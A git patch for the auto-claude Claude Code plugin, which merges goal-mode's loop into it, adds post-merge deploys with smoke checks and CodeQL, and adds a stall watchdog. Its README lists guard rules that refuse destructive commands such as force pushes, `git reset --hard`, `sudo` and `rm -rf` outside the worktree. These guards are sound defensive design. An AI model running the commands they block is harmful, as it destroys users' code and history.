From c59dadc6caa5be97a727a9d11b20d192c8866b34 Mon Sep 17 00:00:00 2001 From: unohee Date: Wed, 11 Nov 2026 18:19:24 +0900 Subject: [PATCH 1/2] auto-claude 1.0.0: absorb goal-mode's loop, deploy to live, self-healing watchdog goal-mode's loop moves into auto-claude (hooks/loop.ts, evaluator.ts, guard.ts). The driver starts each milestone itself, so the gate credit, goal-loop.base and the `/goal-mode loop on` hand-off are gone, along with the stalls they caused. goal-mode's session goals are dropped in favour of Claude Code's own /goal and ProposeGoal; `/goal-mode loop on` becomes `/auto-claude start --queue` (build only). The run now ends live. The plan must say how the repository deploys (Deploy, Smoke check and CodeQL lines, or `Deploy: none ()`); the driver deploys after each merge and smoke-checks it. A deploy whose script has not landed yet waits, and a failed deploy queues a repair milestone from the default branch instead of stopping the run (3 failures in a row stop it). A committed .claude/auto-deploy.json still wins. Stalls measured in vega-agent, CC-Router, de-artifact and intrect-marketing are handled instead of handed to the person: - only required checks decide a PR (a red optional check held one 16 h); - a lost merge reply is looked up again; - an SSH push refused goes over https; a repeating ship error goes to the model at 5 checks and is held at 10; a closed PR is reopened once; - CI that never finishes is re-run once, then held; two holds for one cause stop the run; - a milestone open in a quiet session is prompted again at 3, 6 and 12 min (turn.start/turn.complete), then blocked so the run goes on; - planning that ends without a plan is reminded 2 min later; - AskUserQuestion, EnterPlanMode and ProposeGoal are refused during a run, and a session /goal is cleared when it starts; - idle notices say what the watchdog is doing, never "check status". A run in flight when 1.0 loads takes its open milestone over from goal-loop.log, and new branches number above existing goal/NN-*. harness 0.3.4 renames its references to the loop. --- .claude-plugin/marketplace.json | 11 +- README.md | 10 +- auto-claude/.claude-plugin/plugin.json | 33 +- auto-claude/README.md | 135 +- auto-claude/hooks/auto.test.ts | 1456 ++++++++++----------- auto-claude/hooks/bootstrap.ts | 41 + auto-claude/hooks/deploy-run.ts | 60 + auto-claude/hooks/deploy.ts | 40 +- auto-claude/hooks/evaluator.ts | 152 +++ {goal-mode => auto-claude}/hooks/guard.ts | 15 +- auto-claude/hooks/io.ts | 66 + auto-claude/hooks/loop-protocol.ts | 66 - auto-claude/hooks/loop.ts | 412 ++++++ auto-claude/hooks/plan.ts | 101 +- auto-claude/hooks/pure.test.ts | 382 ++++++ auto-claude/hooks/queue.ts | 2 +- auto-claude/hooks/register.ts | 903 +++++++------ auto-claude/hooks/ship.ts | 113 +- auto-claude/types/index.d.ts | 78 +- goal-mode/.claude-plugin/plugin.json | 18 - goal-mode/README.md | 69 - goal-mode/hooks/hooks.json | 1 - goal-mode/hooks/loop-protocol.ts | 66 - goal-mode/hooks/loop.test.ts | 436 ------ goal-mode/hooks/pure.test.ts | 97 -- goal-mode/hooks/queue.ts | 92 -- goal-mode/hooks/register.test.ts | 295 ----- goal-mode/hooks/register.tsx | 1303 ------------------ goal-mode/hooks/segment.ts | 29 - goal-mode/types/index.d.ts | 40 - harness/.claude-plugin/plugin.json | 2 +- harness/README.md | 4 +- harness/hooks/flow.test.ts | 4 +- harness/hooks/heartbeat.ts | 6 +- harness/hooks/pure.test.ts | 2 +- scripts/sync-shared.ts | 25 +- shared/loop-protocol.jsonl | 6 - shared/queue.ts | 2 +- 38 files changed, 2766 insertions(+), 3807 deletions(-) create mode 100644 auto-claude/hooks/bootstrap.ts create mode 100644 auto-claude/hooks/deploy-run.ts create mode 100644 auto-claude/hooks/evaluator.ts rename {goal-mode => auto-claude}/hooks/guard.ts (79%) create mode 100644 auto-claude/hooks/io.ts delete mode 100644 auto-claude/hooks/loop-protocol.ts create mode 100644 auto-claude/hooks/loop.ts create mode 100644 auto-claude/hooks/pure.test.ts delete mode 100644 goal-mode/.claude-plugin/plugin.json delete mode 100644 goal-mode/README.md delete mode 100644 goal-mode/hooks/hooks.json delete mode 100644 goal-mode/hooks/loop-protocol.ts delete mode 100644 goal-mode/hooks/loop.test.ts delete mode 100644 goal-mode/hooks/pure.test.ts delete mode 100644 goal-mode/hooks/queue.ts delete mode 100644 goal-mode/hooks/register.test.ts delete mode 100644 goal-mode/hooks/register.tsx delete mode 100644 goal-mode/hooks/segment.ts delete mode 100644 goal-mode/types/index.d.ts delete mode 100644 shared/loop-protocol.jsonl diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index e049b4d..8869023 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -6,15 +6,6 @@ "name": "unohee" }, "plugins": [ - { - "name": "goal-mode", - "description": "Claude가 스스로 세션 goal을 걸어 Claude Code의 /goal에 넘기고, 큐에 쌓인 goal을 무인 loop로 돌리며 자체 evaluator가 그 goal만 판정한다.", - "author": { - "name": "unohee" - }, - "source": "./goal-mode", - "category": "development" - }, { "name": "harness", "description": "Integrated harness: enforces the user's Claude rules at the tool call (git/worktree/delete/venv/port/Linear/memory guards, merge-and-release gate, report lint), plus session tooling and workflow automation.", @@ -35,7 +26,7 @@ }, { "name": "auto-claude", - "description": "Unattended run of a repository: Claude plans the long-term end state and milestones, goal-mode's loop builds each, auto-claude pushes, opens PRs and merges when CI is green, then replans until the final check passes.", + "description": "Unattended run of a repository, to the end state live: Claude plans the long-term goal, milestones and deploy; the built-in loop builds each in a worktree and judges it; auto-claude pushes, opens PRs, merges when CI is green, deploys and smoke-checks, and a watchdog repairs or routes around stalls until the final check passes.", "author": { "name": "unohee" }, diff --git a/README.md b/README.md index 7fb8c4d..3e3a646 100644 --- a/README.md +++ b/README.md @@ -4,9 +4,8 @@ Claude Code mods (plugins with a hooks module), served as a local folder marketp | mod | version | what it does | | --- | --- | --- | -| [goal-mode](goal-mode/) | 0.7.0 | Session goals, handed to Claude Code's own `/goal`: set by you (`/goal-mode set [--check ]`) or by Claude itself (nudged on outcome requests and approved plans); its own evaluator judges only the loop's queued goals | -| [harness](harness/) | 0.3.2 | The integrated harness: the user's Claude rules enforced at the tool call, session tooling and workflow automation (formerly house-rules) | -| [auto-claude](auto-claude/) | 0.4.1 | Unattended run of a repository on top of goal-mode's loop: plans the long-term goal and milestones, ships each (push, PR, CI, merge when green, then deploy where `.claude/auto-deploy.json` opts in), replans until the final check passes | +| [harness](harness/) | 0.3.4 | The integrated harness: the user's Claude rules enforced at the tool call, session tooling and workflow automation (formerly house-rules) | +| [auto-claude](auto-claude/) | 1.0.0 | Unattended run of a repository through to live: plans the long-term goal, milestones and deploy; its own loop builds and judges each milestone in a worktree; ships each (push, PR, required CI, merge), deploys and smoke-checks it; a watchdog repairs or routes around stalls; replans until the final check passes. Absorbed goal-mode in 1.0.0 | | [model-tier](model-tier/) | 0.11.0 | Routes each main-loop turn to fable, opus, sonnet or haiku and a reasoning effort by task complexity, with a `set_tier` tool the model calls to correct either | | [refactor](refactor/) | 0.1.3 | Enforces the architecture a repo declares in `.claude/architecture.json` at Edit/Write (layer direction, forbidden imports), notes code smells with the refactoring.guru technique to apply, `/arch audit` for violations and import cycles | @@ -14,10 +13,9 @@ Claude Code mods (plugins with a hooks module), served as a local folder marketp ```sh claude plugin marketplace add Intrect-io/claude-mod -claude plugin install goal-mode@claude-mod claude plugin install harness@claude-mod claude plugin install model-tier@claude-mod -claude plugin install auto-claude@claude-mod # needs goal-mode +claude plugin install auto-claude@claude-mod claude plugin install refactor@claude-mod ``` @@ -30,7 +28,7 @@ claude plugin validate claude plugin test ``` -Files that several mods share live in `shared/`. A mod imports nothing outside its folder, so `bun scripts/sync-shared.ts` writes each mod's copy, and CI fails when a copy differs from `shared/`. Edit the file in `shared/`, never a copy. `shared/loop-protocol.jsonl` records the protocol between goal-mode's loop and auto-claude, gate values and log lines included. goal-mode's tests check that the loop writes it, and auto-claude's tests replay it, so a change on either side fails a test on the other. +Files that several mods share live in `shared/`. A mod imports nothing outside its folder, so `bun scripts/sync-shared.ts` writes each mod's copy, and CI fails when a copy differs from `shared/`. Edit the file in `shared/`, never a copy. (goal-mode, whose loop auto-claude drove through a file protocol kept in `shared/loop-protocol.jsonl`, merged into auto-claude in 1.0.0; the loop and its driver now call each other directly.) `scripts/ci.sh` runs the whole gate that `.github/workflows/ci.yml` runs on every pull request and on main. It validates the marketplace and every mod, runs every mod's tests, and typechecks and tests fleet-hub. `claude plugin test` exits 0 even when a test fails, so the script reads the pass and fail counts instead. diff --git a/auto-claude/.claude-plugin/plugin.json b/auto-claude/.claude-plugin/plugin.json index 0259e4a..2535251 100644 --- a/auto-claude/.claude-plugin/plugin.json +++ b/auto-claude/.claude-plugin/plugin.json @@ -1,13 +1,12 @@ { "name": "auto-claude", - "version": "0.4.1", - "description": "Finishes a repository's work unattended: Claude plans the long-term end state and its milestones, goal-mode's loop builds each one in a worktree, and auto-claude ships it (push, PR, CI, merge when green), then replans until the final check passes.", + "version": "1.0.0", + "description": "Finishes a repository's work unattended and live: Claude plans the long-term end state, its milestones and how it deploys; the built-in loop builds each milestone in its own worktree and judges it; auto-claude ships it (push, PR, CI, merge when green), deploys and smoke-checks it, and a watchdog keeps the run moving until the final check passes. Absorbs goal-mode's loop (1.0.0).", "author": { "name": "unohee" }, "license": "MIT", "types": "./types/index.d.ts", - "dependencies": ["goal-mode"], "userConfig": { "ciMode": { "type": "string", @@ -15,9 +14,29 @@ "description": "github: push, open a PR, wait for its checks, squash-merge when green. local: run the milestone's check, rebase onto the default branch and push it there. auto: github when gh can see the origin repository", "default": "auto" }, - "maxRounds": { "type": "number", "title": "Max planning rounds", "description": "Replans after the queue empties while the final check still fails", "default": 3 }, - "maxMerges": { "type": "number", "title": "Max merges per run", "description": "Stops and reports after this many merges", "default": 20 }, - "maxHours": { "type": "number", "title": "Max hours per run", "description": "Stops and reports after this many hours", "default": 24 }, - "ciPollSec": { "type": "number", "title": "CI poll interval (s)", "description": "How often the driver looks at the loop's log and the open PR", "default": 30 } + "maxRounds": { + "type": "number", + "title": "Max planning rounds", + "description": "Replans after the queue empties while the final check still fails", + "default": 3 + }, + "maxMerges": { + "type": "number", + "title": "Max merges per run", + "description": "Stops and reports after this many merges", + "default": 20 + }, + "maxHours": { + "type": "number", + "title": "Max hours per run", + "description": "Stops and reports after this many hours", + "default": 24 + }, + "ciPollSec": { + "type": "number", + "title": "CI poll interval (s)", + "description": "How often the driver looks at the loop's log and the open PR", + "default": 30 + } } } diff --git a/auto-claude/README.md b/auto-claude/README.md index 24ef85c..3af77c3 100644 --- a/auto-claude/README.md +++ b/auto-claude/README.md @@ -1,70 +1,135 @@ # auto-claude -An unattended run of one repository. Give it an aim in one line, or none at all. Claude then plans the long-term end state, goal-mode's loop builds each milestone, and auto-claude ships each one, merging it when CI is green. Rounds of planning repeat until the plan's final check passes. +An unattended run of one repository, through to what it built being live. Give it an aim in one line, or none at all. Claude plans the long-term end state, its milestones and how the repository deploys. The built-in loop builds each milestone in its own worktree and judges it. auto-claude ships each one (merging it when CI is green), deploys it and smoke-checks it. Rounds of planning repeat until the plan's final check passes. ``` /auto-claude start [aim] # e.g. /auto-claude start finish the CLI and its docs +/auto-claude start --queue # build .claude/goals.md as it is: branches only, nothing shipped /auto-claude status | stop | resume ``` -It depends on [goal-mode](../goal-mode/), which supplies the loop: one worktree per milestone, checks, the evaluator, stuck handling and guards. +goal-mode merged into auto-claude in 1.0.0 (see "From goal-mode" below). Its loop (worktrees, checks, the evaluator, stuck handling and guards) lives in `hooks/loop.ts`. Its session goals are gone: Claude Code's own `/goal` and `ProposeGoal` cover them. ## Starting anywhere - **Not a git repository.** `/auto-claude start` in a plain directory runs `git init -b main`, adds secrets and noise to `.gitignore` (`.env*`, `*.pem`, `*.key`, `node_modules/`, `worktrees/`, `.claude/settings.local.json`), and makes one initial commit of what is there. Plan the empty case too: with no files, the first milestone is the scaffold. - **Refused.** The home directory, `/`, a directory with more than 3000 files, and a directory that holds other repositories are not one project, so nothing is initialized there. -- **No `origin` remote** (a new repository, or an existing one). Milestones land in the repository's own default branch: the check, a rebase onto it, then `git push . HEAD:` with `receive.denyCurrentBranch=updateInstead`, which updates the checked-out files in place. There is no PR and no CI, and `.claude/goal-loop.base` is the branch itself. An existing repository must have a clean tracked tree to start. +- **No `origin` remote** (a new repository, or an existing one). Milestones land in the repository's own default branch: the check, a rebase onto it, then `git push . HEAD:` with `receive.denyCurrentBranch=updateInstead`, which updates the checked-out files in place. There is no PR and no CI, and milestones start from the branch itself. An existing repository must have a clean tracked tree to start. ## A run 1. **Plan.** - Claude reads the repository: docs, plan and TODO notes, history, open PRs and issues, failing tests. - - It writes `.claude/auto-plan.md`: the goal, a `Final check: ` line, milestones, and a decisions log. + - It writes `.claude/auto-plan.md` with these parts: + - the goal; + - a `Final check: ` line; + - how the run deploys (see "Deploying"); + - the milestones; + - a decisions log. - It writes `.claude/goals.md`: one line per milestone, `- [ ] :: check: `. - - It calls `auto_plan_ready`, which validates both files. The plan needs a final check, at least 2 milestones, a check on every line and no duplicates. -2. **Build.** auto-claude points the loop at `origin/` through `.claude/goal-loop.base` and grants it one start at a time through `.claude/goal-loop.gate`. The gate is a credit, so goal counts left from earlier runs don't matter. goal-mode builds the milestone in `worktrees/goal-NN-…` and judges it. -3. **Ship.** This runs as auto-claude's own process calls, never as a model turn. Every step that is ready runs in the same tick, so a milestone whose CI is already green is landed and its successor started within one tick. While CI is pending it is looked at every 10 s. A PR that reports no checks yet is waited on for 90 s before "no checks" counts as a repository without CI. - - **github**: push, `gh pr create`, wait for `gh pr checks`, re-read the PR state, then `gh pr merge --squash --delete-branch`. + - It calls `auto_plan_ready`, which validates both files. The plan needs all of these: + - a final check; + - a Deploy line; + - at least 2 milestones, with a check on every line and no duplicates; + - no milestone that says it is merged, pushed or deployed. That happens after the milestone is met. +2. **Build.** When nothing is being built or shipped, auto-claude starts the next pending line itself. Lines with `:: base:` go first. + - The line gets its own worktree, `worktrees/goal-NN-…` on branch `goal/NN-…`, made from `origin/`, or from the line's `:: base:`. + - Claude gets a kickoff prompt. At every stop, the loop runs the line's check in the worktree and refuses uncommitted changes. Then an independent evaluator (`claude-sonnet-5-5`) judges the milestone from the transcript. + - The loop marks the line `[x]` or `[!]`. It logs to `.claude/goal-loop.log`, which is also where the driver reads what happened. +3. **Ship.** This runs as auto-claude's own process calls, never as a model turn. Every step that is ready runs in the same tick. While CI is pending it is looked at every 10 s. A PR that reports no checks yet is waited on for 90 s before "no checks" counts as a repository without CI. + - **github**: push, `gh pr create`, wait for `gh pr checks --required`, re-read the PR state, then `gh pr merge --squash --delete-branch`. + - Only required checks decide. A failing check that is not required does not block the merge. Where no check is required, every check counts. + - A merge whose reply is lost (a 502 after GitHub merged it) is looked up again and counts as merged. - **local**: run the milestone's check, rebase onto `origin/`, push to it. - - Right before landing, the milestone's check runs once more in a **fresh checkout**. This is a detached worktree at `worktrees/auto-verify`, made from the branch head fetched from origin (github) or from the rebased commit (local). It is never the builder's worktree, where untracked or ignored files can make a check pass. A check that passes only in the builder's worktree becomes a fix goal, like a red CI. - - The merged worktree is then removed. + - Right before landing, the milestone's check runs once more in a **fresh checkout**: a detached worktree at `worktrees/auto-verify`, made from the branch head fetched from origin (github) or from the rebased commit (local). A check that passes only in the builder's worktree becomes a fix goal, like a red CI. - When CI fails or the PR conflicts, auto-claude appends a fix goal built on the milestone's branch (`:: base: goal/NN-…`), and the loop builds that next. After 3 failures the milestone is held. - - **Deploy (opt-in).** When the repository has `.claude/auto-deploy.json`, auto-claude deploys after each merge. See "Deploying" below. -4. **Finish or replan.** When the queue empties, auto-claude runs the final check on a fresh checkout of the merged default branch. - - If it passes, auto-claude writes a `## Result` section and stops. + - **Deploy.** After each merge, as the plan says (see "Deploying"). +4. **Finish or replan.** When the queue is done, auto-claude runs the final check on a fresh checkout of the merged default branch. + - If it passes, auto-claude deploys once more if a deploy is still due. Then it writes a `## Result` section and stops. - If it fails, Claude appends new milestones from the check's output (round 2, and so on, up to `maxRounds`). ## Deploying -A repository opts in by committing `.claude/auto-deploy.json`: +The run's end is what it built **live**: merged, deployed and smoke-checked. A plan that leaves the deploy or the release to the person is not accepted. + +Claude finds how the repository deploys (`scripts/deploy*`, Makefile targets, `wrangler.toml`, `fly.toml`, Dockerfile and k8s manifests, a CI deploy workflow, the README) and writes three lines in `auto-plan.md`: + +``` +Deploy: `bash scripts/deploy.sh` +Smoke check: `curl -fsS https://api.example.com/health` +CodeQL: python +``` + +- `Deploy:` is run by auto-claude after each merge, with `bash -lc`, in a fresh detached checkout of the default branch (`worktrees/auto-deploy`). The model never deploys. Its deploy and cluster commands stay refused, except read-only looks such as `kubectl get|logs|describe`, `fly status|logs` and `wrangler tail`, which it can use to debug a failed smoke check. +- `Smoke check:` runs right after the deploy. It must pass only when the deployed service really works. +- `CodeQL:` names the languages scanned before each deploy (`-security-and-quality`), or says `none ()`. Any error-level result blocks the deploy. Warnings are only reported. The database and the SARIF go to `$TMPDIR`. +- A repository with nothing to run anywhere (a library, a document set) writes `Deploy: none ()`. `none` without a reason is not accepted. +- When there is no way to deploy yet, the plan's early milestones build it. While a script the command names (`bash scripts/deploy.sh`, `./deploy`) is missing from the default branch, the deploy waits ("a deploy is due" in `status`) instead of failing. It runs once the script lands, and at the latest before the run is done. +- The lines are fixed when `auto_plan_ready` accepts the plan. A milestone that edits them does not change what the run executes. A replan may change them, and the change is announced. + +A committed `.claude/auto-deploy.json` takes precedence: the person decided. The plan then needs no Deploy line. The file is read once, when the run starts. A broken file keeps the run from starting. ```json -{ "command": "bash scripts/deploy.sh", "codeql": "python", "timeoutSec": 600 } +{ "command": "bash scripts/deploy.sh", "smoke": "curl -fsS https://x/health", "codeql": "python", "timeoutSec": 600 } ``` -- `command` (required) runs with `bash -lc` after each merge. It runs in a fresh detached checkout of the remote default branch (`worktrees/auto-deploy`), which is what was just merged. -- `codeql` (optional) is a language or a list of languages (`python`, `javascript`, …). Before each deploy, auto-claude builds a CodeQL database for each language and runs `-security-and-quality`. Any error-level result blocks the deploy. Warnings are only reported. The database and the SARIF go to `$TMPDIR`. Set it for repositories with order, payment or credential surfaces (CLAUDE.md §5). -- `timeoutSec` (optional) is 600 by default, and also at most 600. -- The file is read once, when the run starts. A milestone that edits it does not change what that run executes. A broken file keeps the run from starting. -- A failed deploy (a non-zero exit, a timeout, or CodeQL errors) stops the run right there. What is live may then differ from what was merged, so nothing more is merged on top of it. `/auto-claude status` shows the command and the number of deploys so far. +`timeoutSec` is 600 by default, and also at most 600. + +**A failed deploy does not stop the run.** That covers a non-zero exit, a timeout, CodeQL errors and a failed smoke check. +- A milestone that repairs the deploy goes into the queue first. It is built from the default branch, because the shipped branch is merged and gone, and it is judged by the final check. +- It is merged like any milestone, and the deploy then runs again. +- 3 deploys failing in a row stop the run. Nothing more is merged on top of a broken live service. ## Autonomy and its limits -- **Choices.** Claude decides every choice itself and records it under `## Decisions`. Irreversible steps (credentials, payment, deleting data, releases) go through `defer_goal` and are never taken. -- **Deploying.** Only auto-claude deploys, and only where `.claude/auto-deploy.json` exists. The model's deploy and release commands stay refused. -- **Merging.** Only auto-claude merges. It adds `gh pr merge`, `gh release` and pushes to `HEAD:main` to `.claude/goal-loop.deny`, so the model is refused them. -- **goal-mode's guards apply too.** Force pushes, direct pushes to main, `reset --hard`, deploy commands, `sudo`, edits outside the worktree and AskUserQuestion are all refused. +- **Choices.** Claude decides every choice itself and records it under `## Decisions`. Irreversible steps (credentials, payment, deleting data, a new public release) go through `mcp__auto-claude__defer_goal` and are never taken. +- **Merging and deploying.** Only auto-claude merges and deploys. It adds `gh pr merge`, `gh release` and pushes to `HEAD:main` to `.claude/goal-loop.deny`, so the model is refused them. +- **Guards** (in the session running the run): + - **Throughout the run**, including planning: AskUserQuestion, EnterPlanMode and `ProposeGoal` are refused. A session `/goal` would block the loop's stops, so `/auto-claude start` and `resume` also run `/goal clear` where the engine has `/goal`. + - **While a milestone is built**, these are refused: + - force pushes, and pushes other than a `goal/*` branch; + - `git reset --hard`; + - `sudo`; + - deploy and cluster commands (read-only looks such as `kubectl get` are allowed); + - `rm -rf` outside the worktree; + - edits in the repository outside the worktree; + - any regex in `.claude/goal-loop.deny`. - **Caps.** A run stops and reports after `maxMerges` (20) merges, after `maxHours` (24), or after `maxRounds` (3) rounds without the final check passing. -- **Kill switch.** Create `.claude/auto-claude.stop`, or run `/auto-claude stop`. Either one also turns the loop off. `/auto-claude start` and `resume` move a stop file left from an earlier run to `.claude/auto-claude.stop.cleared`, so it cannot end the new run at its first tick. -- **Nothing stalls silently.** - - A `/goal-mode loop on` that starts nothing is retried with backoff. After 3 tries the person is told the loop's reply. - - A run still planning gets a reminder every 15 minutes that lists what the plan files lack. After 3 reminders the run stops. - - A shipping error that repeats is reported once. - - A tick that fails 3 times in a row (an unwritable `.claude/goal-loop.gate`, say) is reported once with its error, and `stalled: every tick fails` stays in `/auto-claude status` until a tick gets through. - - **Idle nudge.** A run on the `run` phase where nothing was started, shipped or merged for 15 minutes is reported to the person with its cause (the `stalled:` reason, or "idle N min"), again 30 minutes later, and once more, 3 nudges in all (`idleNudges` in the record; any progress resets the count). When the loop is the idle one, the nudge also clears the `loop on` backoff so the grant is asked at once. A goal being built is waiting, not idle. So is a PR whose CI is pending, or whose mergeability GitHub has not decided, for up to 90 minutes: after that the wait is a stall (a check queued for an offline self-hosted runner never finishes), named `PR #N has waited M min for CI` in the nudge and in `stalled:`. The session model is not prompted. - - `/auto-claude status` ends with a `stalled:` line when the run is not moving. It names the cause and gives the evidence: an orphaned owner (when it last ticked), a granted start the loop does not take (its last `loop on` reply), overdue planning (what the plan files lack), or a shipping error that repeats (its note and count). - - A run whose owning session has gone quiet for 10 minutes is reported as orphaned in other sessions, and `/auto-claude resume` picks it up there. - - Only the owning session receives the unattended rules. -- **Reporting.** Progress shows in the status line piece (`auto·R1·M3/7·PR#12`) and in notifications. +- **Kill switch.** Create `.claude/auto-claude.stop`, or run `/auto-claude stop`. Either one ends the loop's milestone as well: it is no longer judged, and its guards lift. `/auto-claude start` and `resume` move a stop file left from an earlier run to `.claude/auto-claude.stop.cleared`. `resume` goes back to the phase the run stopped in: planning stays planning. + +## Nothing waits on the person + +A run never asks the person to look at `status` or to run a command. When something stops moving, the watchdog acts on the cause. It reports what it did, and holds what stays stuck so the run goes on. + +| what stops | what happens | +| --- | --- | +| A milestone is open, but the session has had no turn for 3 min: the model ended its turn to "wait", a prompt was dropped, an interrupt, or a stop the judge could not read | The milestone's prompt is sent again, after 3, 6 and 12 min of quiet. After the third, the milestone is blocked and the next one starts. A stop being judged, or a retry pause, is not quiet. Turns are tracked with `turn.start` / `turn.complete`. | +| Planning ends without `auto_plan_ready` | A reminder 2 min after that turn ended, listing what the plan files lack (15 min at most otherwise). After 3, the run stops. | +| An SSH remote refuses the push (`Permission denied (publickey)`) | The push goes to the https URL of the same repository. | +| The same shipping error, check after check | At 5 checks, the session model gets the error and what was tried, and fixes what it can (gh auth, remotes, `gh repo set-default`). At 10, the milestone is held and the run goes on. | +| A PR closed under the run | It is opened again once, then held. | +| CI that does not finish | After 90 min, or 30 min when every run of the branch is still queued (no runner), its runs are cancelled and run again once. If it still does not finish 90 min later, the milestone is held. | +| The same cause holds two milestones in a row (no runner, gh not logged in) | The run stops and names the cause, instead of holding every later milestone. | +| A tick that fails 3 times in a row | Reported once with its error. `stalled: every tick fails` stays in `status` until a tick gets through. | +| Nothing started, shipped or merged for 15 min | The person is told the cause and that the watchdog is on it: at 15 min, 30 min later, and once more. | +| The owning session goes quiet for 10 min | Other sessions report the run as orphaned. `/auto-claude resume` takes it over there, including the milestone being built. | + +`/auto-claude status` ends with a `stalled:` line naming the cause whenever the run is not moving. Only the owning session receives the unattended rules. Progress shows in the status line piece (`auto·R1·M3/7·PR#12`) and in notifications. + +## The loop + +- **Stuck.** 5 unmet checks in one turn, two unreadable verdicts, or an evaluator that fails: the loop waits 2 minutes, then sends a "change your approach" prompt, at most twice. After that the line is marked `[!]` and the run moves on. +- **Deferring.** The model may call `mcp__auto-claude__defer_goal` for an external blocker after 2 failed checks. The deferral is applied at the next stop. +- **Evaluator.** Each call takes about 2–20 s. It is billed to the session's credentials but does not appear in `/cost`. A transcript over the 4 MiB read cap is judged by a fork of the session instead. +- **Files.** `.claude/goals.md`, `.claude/goal-loop.log` (JSONL, its last 2000 lines) and `.claude/goal-loop.deny` are excluded from git through `.git/info/exclude`, along with `worktrees/`. +- **`--queue`.** `/auto-claude start --queue` builds the queue you wrote, line by line, with the same loop. Nothing is pushed, merged or deployed, and the branches are left for review, as goal-mode's `loop on` did. + +## From goal-mode + +- **The loop moved.** `/goal-mode loop on` is now `/auto-claude start --queue`. Inside a run, the driver starts each milestone itself. +- **Gone:** `.claude/goal-loop.gate`, `.claude/goal-loop.base` and the `loop on` hand-off. Their stalls went with them: a start granted but not taken, a gate counted from the wrong base. +- **Renamed:** `mcp__goal-mode__defer_goal` is now `mcp__auto-claude__defer_goal`. +- **Session goals** (`set_goal`, `/goal-mode set|auto|clear` and the outcome nudges) are gone. Use Claude Code's `/goal` and `ProposeGoal`. +- **A run already going** when 1.0 loads keeps its milestone. The loop's state lived in goal-mode's store, which this plugin cannot read, so the open milestone is found again from the last `start` in `.claude/goal-loop.log` and prompted again. New branches number above the highest existing `goal/NN-*`. Options: `ciMode` (`auto` | `github` | `local`), `maxRounds`, `maxMerges`, `maxHours` and `ciPollSec`. diff --git a/auto-claude/hooks/auto.test.ts b/auto-claude/hooks/auto.test.ts index 5a2ec22..d3d59fd 100644 --- a/auto-claude/hooks/auto.test.ts +++ b/auto-claude/hooks/auto.test.ts @@ -1,176 +1,93 @@ import { describe, expect, mock, test } from 'claude-code/testing' import type { TestBody } from 'claude-code/testing' -import { countSarif, parseDeploy } from './deploy' -import { LOOP_PROTOCOL } from './loop-protocol' -import type { ProtocolStep } from './loop-protocol' -import { finalCheckOf, fixLine, kickoffText, parseQueue, validatePlan } from './plan' -import { capReached, idleDue, inFlight, mergeable, parseChecks, prNumber, progressSig, readLog, repoSlug } from './ship' +import { parseQueue } from './plan' type On = Parameters[1] type Engine = Parameters[0] -const PLAN = '## Goal\nadd and sub work\n\nFinal check: `python3 -m unittest -q`\n\n## Milestones\n1. add\n2. sub\n\n## Decisions\n' +// A plan that deploys nothing, for runs that are not about deploying. +const PLAN = '## Goal\nadd and sub work\n\nFinal check: `python3 -m unittest -q`\nDeploy: none (a library; nothing runs anywhere)\n\n## Milestones\n1. add\n2. sub\n\n## Decisions\n' +const PLAN_DEPLOY = PLAN.replace('Deploy: none (a library; nothing runs anywhere)', 'Deploy: `bash scripts/deploy.sh`\nSmoke check: `curl -fsS http://localhost:8080/health`\nCodeQL: none (a test fixture)') const QUEUE = '- [ ] add() returns a+b :: check: python3 -m unittest -q test_add\n- [ ] sub() returns a-b :: check: python3 -m unittest -q test_sub\n' +// The worktrees and branches the loop makes for QUEUE's lines. +const WT1 = '/repo/worktrees/goal-01-add-returns-a-b' +const BR1 = 'goal/01-add-returns-a-b' +const WT2 = '/repo/worktrees/goal-02-sub-returns-a-b' +const BR2 = 'goal/02-sub-returns-a-b' +const LOG = '/repo/.claude/goal-loop.log' +const GOALS = '/repo/.claude/goals.md' +const STOP = { stop_hook_active: false, last_assistant_message: 'done', transcript_path: '/tmp/s.jsonl' } +const USAGE = { input_tokens: 1, output_tokens: 1, cache_creation_input_tokens: 0, cache_read_input_tokens: 0 } +const MIN = 60_000 +const TICK = 30_000 -describe('plan', () => { - test('the queue grammar is goal-mode\'s own (generated from shared/queue.ts), :: base: and notes included', () => { - expect(parseQueue('- [ ] a :: check: x :: base: goal/01-a\n- [x] b \n- [!] c :: check: y')).toEqual([ - { line: 0, mark: ' ', condition: 'a', check: 'x', base: 'goal/01-a' }, - { line: 1, mark: 'x', condition: 'b', check: undefined, note: 'done' }, - { line: 2, mark: '!', condition: 'c', check: 'y' }, - ]) - }) - - test('a plan needs a final check and checked milestones', () => { - expect(finalCheckOf(PLAN)).toBe('python3 -m unittest -q') - expect(finalCheckOf('- **Final check**: make test')).toBe('make test') - expect(validatePlan(PLAN, QUEUE, true)).toMatchObject({ ok: true, finalCheck: 'python3 -m unittest -q' }) - const bad = validatePlan('## Goal\nx', '- [ ] only one\n', true) - expect(bad.ok).toBe(false) - expect(!bad.ok && bad.errors.join(' ')).toContain('no "Final check') - expect(!bad.ok && bad.errors.join(' ')).toContain('at least 2') - expect(!bad.ok && bad.errors.join(' ')).toContain('without a check') - expect(validatePlan(PLAN, `${QUEUE}- [ ] add() returns a+b :: check: z\n`, true).ok).toBe(false) - // A later round needs only one new milestone. - expect(validatePlan(PLAN, '- [x] a :: check: x\n- [ ] b :: check: y\n', false).ok).toBe(true) - expect(validatePlan(PLAN, '- [ ] a :: check: x :: base: main\n- [ ] b :: check: y\n', true).ok).toBe(false) - // Shipping is not a milestone's end state. - const shipped = validatePlan(PLAN, '- [ ] add works, merged to main :: check: x\n- [ ] b :: check: y\n', true) - expect(!shipped.ok && shipped.errors.join(' ')).toContain('merging, pushing and PRs happen after') - }) - - test('the kickoff aims at the end state and asks nobody', () => { - const k = kickoffText('finish the CLI', 'origin/main') - expect(k).toContain('Their aim: finish the CLI') - expect(k).toContain('long-term end state') - expect(k).toContain('from origin/main') - expect(k).toContain('decide every choice yourself') - }) - - test('a fix line builds on the failing branch with the milestone\'s check', () => { - const line = fixLine('add() returns a+b', 7, 'CI failed', 'pytest -q', 'goal/01-add') - expect(parseQueue(line)[0]).toMatchObject({ check: 'pytest -q', base: 'goal/01-add' }) - expect(line).toContain('PR #7') - }) -}) - -describe('ship', () => { - test('log tail reads from the offset and survives a trimmed log', () => { - const log = '{"event":"start","branch":"goal/01-a"}\n{"event":"met","goal":"a","branch":"goal/01-a"}\nnot json\n' - expect(readLog(log, 0).entries.map(e => e.event)).toEqual(['start', 'met']) - // A last line that does not parse may be torn: the cursor stays before it. - 